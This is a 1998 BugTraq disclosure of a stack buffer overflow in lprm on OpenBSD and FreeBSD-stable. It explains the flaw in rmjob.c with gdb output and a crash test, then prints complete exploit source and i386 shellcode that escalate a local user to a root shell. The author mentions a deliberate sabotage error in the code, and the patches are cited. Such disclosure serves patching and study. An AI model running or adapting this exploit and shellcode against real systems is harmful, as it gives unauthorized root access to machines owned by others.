|
Date: Thu, 23 Apr 1998 03:33:39 +0000 From: Niall Smart <rotel@indigo.ie> To: BUGTRAQ@NETSPACE.ORG Subject: Vulnerability in OpenBSD, FreeBSD-stable lprm. Synopsis -------- lprm in OpenBSD and FreeBSD-stable gives a root shell under the following conditions: * You have a remote printer configured in /etc/printcap. (i.e. a printer with a non-null "rm" capability.) * The length of the attacker's username plus the length of the "rp" capability for the remote printer is >= 7. If there is no explicit "rp" capability specified then the system will use the default, which has length 2, meaning that the attacker's username must be >= 5 characters long in this case. * The hostname of the remote printer (i.e. the "rm" capability) resolves, and neither the canonical name returned for the host nor any of its aliases match the local hostname. (i.e. it will not work if the "rm" capability points back at the local machine, which would be indicative of misconfiguration anyway) Notes ----- * It is not strictly necessary for the lpd daemon to be running on the remote or local host for the exploit to work. * This vulnerability is not present in FreeBSD-current or NetBSD-current. * Patches to fix this vulnerability have been applied to the OpenBSD and FreeBSD-stable source tree's in the last few hours. Obtain the latest version of the file: /src/usr.sbin/lpr/common_source/rmjob.c and recompile the lpr subsystem to protect yourself against this attack. See www.openbsd.org/security.html and www.freebsd.org for details. Details ------- lprm allows a user to remove all his jobs on a print queue by passing his username as an argument to lprm, e.g. "lprm -P PRINTER bloggs". Only root is allowed to specify usernames other than his own. Passing your own username more than once (as in "lprm -P PRINTER bloggs bloggs") is allowed, but redundant. The user(s) specified are stored in a global array called `user'. If the printer specified is a remote printer then lprm connects to the remote lpd da ffb emon and sends it a message of the form "\5 XX USER1 USER2 ...\n" where XX is the "rp" capability of the remote printer, or the string "lp" if this capability has not been specified and USERN are the users from the command line. This happens in rmremote() of rmjob.c: 317 void 318 rmremote() 319 { 320 register char *cp; 321 register int i, rem; 322 char buf[BUFSIZ]; 323 void (*savealrm)(int); 324 325 if (!remote) 326 return; /* not sending to a remote machine */ 327 328 /* 329 * Flush stdout so the user can see what has been deleted 330 * while we wait (possibly) for the connection. 331 */ 332 fflush(stdout); 333 334 (void)snprintf(buf, sizeof(buf), "\5%s %s", RP, all ? "-all" : person); 335 cp = buf; 336 for (i = 0; i < users && cp-buf+1+strlen(user[i]) < sizeof(buf); i++) { 337 cp += strlen(cp); 338 *cp++ = ' '; 339 strcpy(cp, user[i]); 340 } The problem lies on lines 334-335. Note that a string is snprintf()'ed into buf and then cp is initialised to point at the beginning of the buffer. Therefore on the first iteration around the loop on line 336 cp - buf = 0. This means that we can pass a string of length up to length sizeof(buf) - 1 - 1 = 1022 in user[0] (which is the first user on the command line). In the loop, cp is advanced by the length of the string it points to plus one character. On the first iteration this is P + 3 characters where P = strlen(RP) + strlen(person) (RP is the "rp" capability for the printer (default: "lp"), person is your username) Then the contents of user[i] is appended to cp. If we pass a string of length 1022 characters in user[0] then the buffer will be overflowed by (1022 + P + 3 + 1) - 1024 = P + 2 bytes (including the terminating '\0') on the first iteratation of the loop. If RP = "lp" (the default) this means that the user bloggs can overflow by 10 bytes, the last of which will be a null byte. So, is this useful for bloggs? Looking at the source it would appear not, there are three doubleword sized variables (cp, i and rem = 12 bytes) declared before buf, meaning he can't get to the saved EIP with his 10 byte overflow, and there doesn't seem to be any way to get what we want from manipulating these variables. Note that if the programmer had declared the function pointer savealrm before the buffer then we could "restore" the SIGALRM handler to an arbitrary location. But -- those three variables are declared with the register attribute!!! For the uninitiated, this is a hint to the compiler to place those variables in a register if possible for speed of access. Assuming the compiler can do this, it also has the side effect of not requiring the compiler to allocate memory for the variable if its address is not taken. A quick look through the rest of the source for rmremote() shows that their address is not taken -- things are looking up! Lets compile our own static version of lprm with debugging on using the same optimisation flags as the system Makefile and look at the assembly produced to see where the compiler puts cp, i and rem. $ make lprm CFLAGS="-g -static" $ gdb lprm (gdb) x/5i rmremote 0x2464 <rmremote>: pushl %ebp 0x2465 <rmremote+1>: movl %esp,%ebp 0x2467 <rmremote+3>: subl $0x408,%esp 0x246d <rmremote+9>: pushl %edi 0x246e <rmremote+10>: pushl %esi (gdb) p 0x408 $3 = 1032 So, it allocates 1032 bytes on the stack, presumably this is composed of one of cp, i and rem, then the 1024 byte buffer and then savealrm. This would means that bloggs can overflow the saved EBP, and even write up to two bytes to the saved EIP. (the last of which would be NULL) Unfortunately this is useless on the Intel i386 because the MSB(yte) of the EIP is located highest on the stack meaning we can only influence the two LSBs of the th ffb e EIP and since our buffer is located up at the top of the address space we need the MSB of the saved EIP to look like 0xFF or 0xEF and it is probably 0x00 since rmremote would have been called from the text segment which is located at the bottom of the address space. On a big endian machine we *might* have been able to do something with this, but it would not have been easy. However, God is on our side again, looking down further through the asm we notice that gcc has actually allocated the buffer at $esp - 1024. Look at the pushing of the arguments for the call to snprintf: (gdb) x/11i 0x1fbc <rmremote+72>: movl $0x1550,%eax 0x1fc1 <rmremote+77>: pushl %eax 0x1fc2 <rmremote+78>: movl 0x3ea88,%eax 0x1fc7 <rmremote+83>: pushl %eax 0x1fc8 <rmremote+84>: pushl $0x1f3a 0x1fcd <rmremote+89>: pushl $0x400 0x1fd2 <rmremote+94>: leal 0xfffffc00(%ebp),%eax 0x1fd8 <rmremote+100>: pushl %eax 0x1fd9 <rmremote+101>: call 0x21630 <snprintf> (gdb) p -(~0xfffffc00 + 1) $2 = -1024 This means that we only need a nine byte overflow! (9 = 4 for saved EBP + 4 for saved EIP + 1 null terminating '\0' which must not be in saved EIP) I'm not sure why gcc has allocated the variables in this way, but who's complaining? :) Lets just check that we have done our sums right before moving on to write the exploit: where do we put the bytes into user[0] so that they overwrite the EIP? Well, writing 1028 bytes into buf leaves us just before the EIP, to write this many bytes we put 1028 - (P + 3) bytes in user[0], the (P + 3) comes from the data already placed in the buffer by the snprintf. For the user bloggs on a system where RP = "lp", P = 8. Lets check this out on our own system: (copy lprm to get it to core dump) $ id -un bloggs $ cp /usr/bin/lprm /tmp $ /tmp/lprm -P remote `perl -e ' > print "A" x (1028 - 8 - 3); > printf("%c%c%c%c", 0xEF, 0xBE, 0xAD, 0xDE); > '` connection to remote is down zsh: segmentation fault (core dumped) /tmp/lprm -P remote $ gdb --quiet lprm /tmp/lprm.core Core was generated by `lprm'. Program terminated with signal 11, Segmentation fault. #0 0xdeadbeef in ?? () (gdb) Bang on. Exploit ------- [ Its all pretty much plain sailing from here on, the main reason for this section is to demonstrate the leeto method of getting the shellcode that I haven't seen used before. :) ] Just before the "ret" at the end of rmremote() we want the stack to look like this: +-----------+ ESP -> | egg | --------\ +-----------+ | | space | | | space | | | space | | +-----------+ | | | | | | | \ shellcode \ | | | | | | | +-----------+ | | nop | | | nop | <<------/ | | The ret instruction pops the egg off into the EIP which will hopefully then point somewhere in the nops causing the CPU to chase up the stack to the shellcode. The shellcode itself is a fairly standard affair, it performs a seteuid(0), setuid(0), exit(execve("/bin/sh", { "sh", 0 }, 0)) using the standard tricks of xoring and subtraction of negative values to get/avoid null bytes and a call/ret to obtain the value of the EIP so it can locate the address of the "shAA/bin/shBCCCCDDDD" string. The neeto bit is that the shellcode is left in source form, the assembler generates a label for the beginning and end of the generated code so we can just memcpy the machine language representation into the buffer. This makes it easier to change and test the shellcode as you go, makes the exploit more easily portable and avoids the tedious task of hexdumping the instructi ffb ons. As discussed before, the egg is placed at user[1028 - P - 3], we want the shellcode to be as near the top as possible, but we need to leave 12 bytes for the 4 pushl instructions in the shell code as the ESP will be equal to &egg + 4 when we enter the shellcode. (only 12 bytes because the first push goes onto the egg) This means we memcpy the shellcode into &user[1028 - P - 3 - 12 - SCSZ] where SCSZ is the size of the shell code. The code is appended to this file. To compile: cc lprm-bsd.c shellcode.S -o lprm-bsd Thanks ------ Special thanks to sdr and figz for letting me debug a problem with the exploit on OpenBSD. After 8 grueling hours I eventually traced the problem to the fact that char c = 0x90; isdigit(c) equals 0 on FreeBSD, and >0 on OpenBSD. Life sucks. Use isascii(). <RANT> This exploit serves to point out that code auditing is no "silver bullet" when it comes to system security. The original patch made to rmjob.c was audited by three people from the OpenBSD and FreeBSD projects and yet the problem still remained. This is not a reflection on the abilities of the code auditors but rather on the difficulty of fully understanding and safely writing code which manages memory allocation at the byte level. </RANT> Niall Smart, njs3@doc.ic.ac.uk /* lprm-bsd.c - Exploit for lprm vulnerability in OpenBSD and FreeBSD-stable k0ded by Niall Smart, njs3@doc.ic.ac.uk, 1998. The original version of this file contains a blatant error which anyone who is capable of understanding C will be able to locate and remove. Please do not distribute this file without this idiot-avoidance measure. Typical egg on FreeBSD: 0xEFBFCFDF Typical egg on OpenBSD: 0xEFBFD648 The exploit might take a while to drop you to a root shell depending on the timeout ("tm" capability) specified in the printcap file. */ #include <sys/types.h> #include <pwd.h> #include <err.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> extern void BEGIN_SC(); extern void END_SC(); int main(int argc, char** argv) { char buf[4096]; struct passwd* pw; char* cgstr; char* cgbuf; char* printer; char* printcaps[] = { "/etc/printcap", 0 }; int sc_size; /* size of shell code */ int P; /* strlen(RP) + strlen(person) */ unsigned egg; /* value to overwrite saved EIP with */ if (argc != 3) { fprintf(stderr, "usage: %s <printername> <egg>\n", argv[0]); exit(0); } if ( (pw = getpwuid(getuid())) == NULL) errx(1, "no password entry for your user-id"); printer = argv[1]; egg = (unsigned) strtoul(argv[2], NULL, 0); if (cgetent(&cgstr, printcaps, printer) < 0) errx(1, "can't find printer: %s", printer); if (cgetstr(cgstr, "rm", &cgbuf) < 0 || cgbuf[0] == '\0') errx(1, "printer is not remote: %s", printer); if (cgetstr(cgstr, "rp", &cgbuf) < 0) cgbuf = "lp"; sc_size = (char*) END_SC - (char*) BEGIN_SC; /* We can append 1022 bytes to whatever is in the buffer. We need to get up to 1032 bytes to reach the saved EIP, so there must be at least 10 bytes placed in the buffer by the snprintf on line 337 of rmjob.c and the subsequent *cp++ = '\0'; 3 = ' ' + ' ' + '\5' */ if ( (P = (strlen(pw->pw_name) + strlen(cgbuf))) < 7) errx(1, "your username is too short"); fprintf(stderr, "P = %d\n", P); fprintf(stderr, "shellcode = %d bytes @ %d\n", sc_size, 1028 - P - 3 - 12 - sc_size); fprintf(stderr, "egg = 0x%X@%d\n", egg, 1028 - P - 3); /* fill with NOP */ memset(buf, 0x90, sizeof(buf)); /* put letter in first byte, this fucker took me ffb eight hours to debug. */ buf[0] = 'A'; /* copy in shellcode, we leave 12 bytes for the four pushes before the int 0x80 */ memcpy(buf + 1028 - P - 3 - 12 - sc_size, (void*) BEGIN_SC, sc_size); /* finally, set egg and null terminate */ *((int*)&buf[1028 - P - 3]) = egg; buf[1022] = '\0'; memset(buf, 0, sizeof(buf)); execl("/usr/bin/lprm", "lprm", "-P", printer, buf, 0); fprintf(stderr, "doh.\n"); return 0; } /* shellcode.S - generic i386 shell code k0d3d by Niall Smart, njs3@doc.ic.ac.uk, 1998. Please send me platform-specific mods. Example use: #include <stdio.h> #include <string.h> extern void BEGIN_SC(); extern void END_SC(); int main() { char buf[1024]; memcpy(buf, (void*) BEGIN_SC, (long) END_SC - (long) BEGIN_SC); ((void (*)(void)) buf)(); return 0; } gcc -Wall main.c shellcode.S -o main && ./main */ #if defined(__FreeBSD__) || defined(__OpenBSD__) #define EXECVE 3B #define EXIT 01 #define SETUID 17 #define SETEUID B7 #define KERNCALL int $0x80 #else #error This OS not currently supported. #endif #define _EXECVE_A CONCAT($0x555555, EXECVE) #define _EXECVE_B CONCAT($0xAAAAAA, EXECVE) #define _EXIT_A CONCAT($0x555555, EXIT) #define _EXIT_B CONCAT($0xAAAAAA, EXIT) #define _SETUID_A CONCAT($0x555555, SETUID) #define _SETUID_B CONCAT($0xAAAAAA, SETUID) #define _SETEUID_A CONCAT($0x555555, SETEUID) #define _SETEUID_B CONCAT($0xAAAAAA, SETEUID) #define CONCAT(x, y) CONCAT2(x, y) #define CONCAT2(x, y) x ## y .global _BEGIN_SC .global _END_SC .data _BEGIN_SC: jmp 0x4 // jump past next two isns movl (%esp), %eax // copy saved EIP to eax ret // return to caller xorl %ebx, %ebx // zero ebx pushl %ebx // sete?uid(0) pushl %ebx // dummy, kernel expects extra frame pointer movl _SETEUID_A, %eax // andl _SETEUID_B, %eax // load syscall number KERNCALL // make the call movl _SETUID_A, %eax // andl _SETUID_B, %eax // load syscall number KERNCALL // make the call subl $-8, %esp // push stack back up call -40 // call, pushing addr of next isn onto stack addl $53, %eax // make eax point to the string movb %bl, 2(%eax) // append '\0' to "sh" movb %bl, 11(%eax) // append '\0' to "/bin/sh" movl %eax, 12(%eax) // argv[0] = "sh" movl %ebx, 16(%eax) // argv[1] = 0 pushl %ebx // push envv movl %eax, %ebx // subl $-12, %ebx // -(-12) = 12, avoid null bytes pushl %ebx // push argv subl $-4, %eax // -(-4) = 4, avoid null bytes pushl %eax // push path pushl %eax // dummy, kernel expects extra frame pointer movl _EXECVE_A, %eax // andl _EXECVE_B, %eax // load syscall number KERNCALL // make the call pushl %eax // push return code from execve pushl %eax // movl _EXIT_A, %eax // we shouldn't have gotten here, try and andl _EXIT_B, %eax // exit with return code from execve KERNCALL // JERONIMO! .ascii "shAA/bin/shBCCCCDDDD" // 01234567890123456789 _END_SC: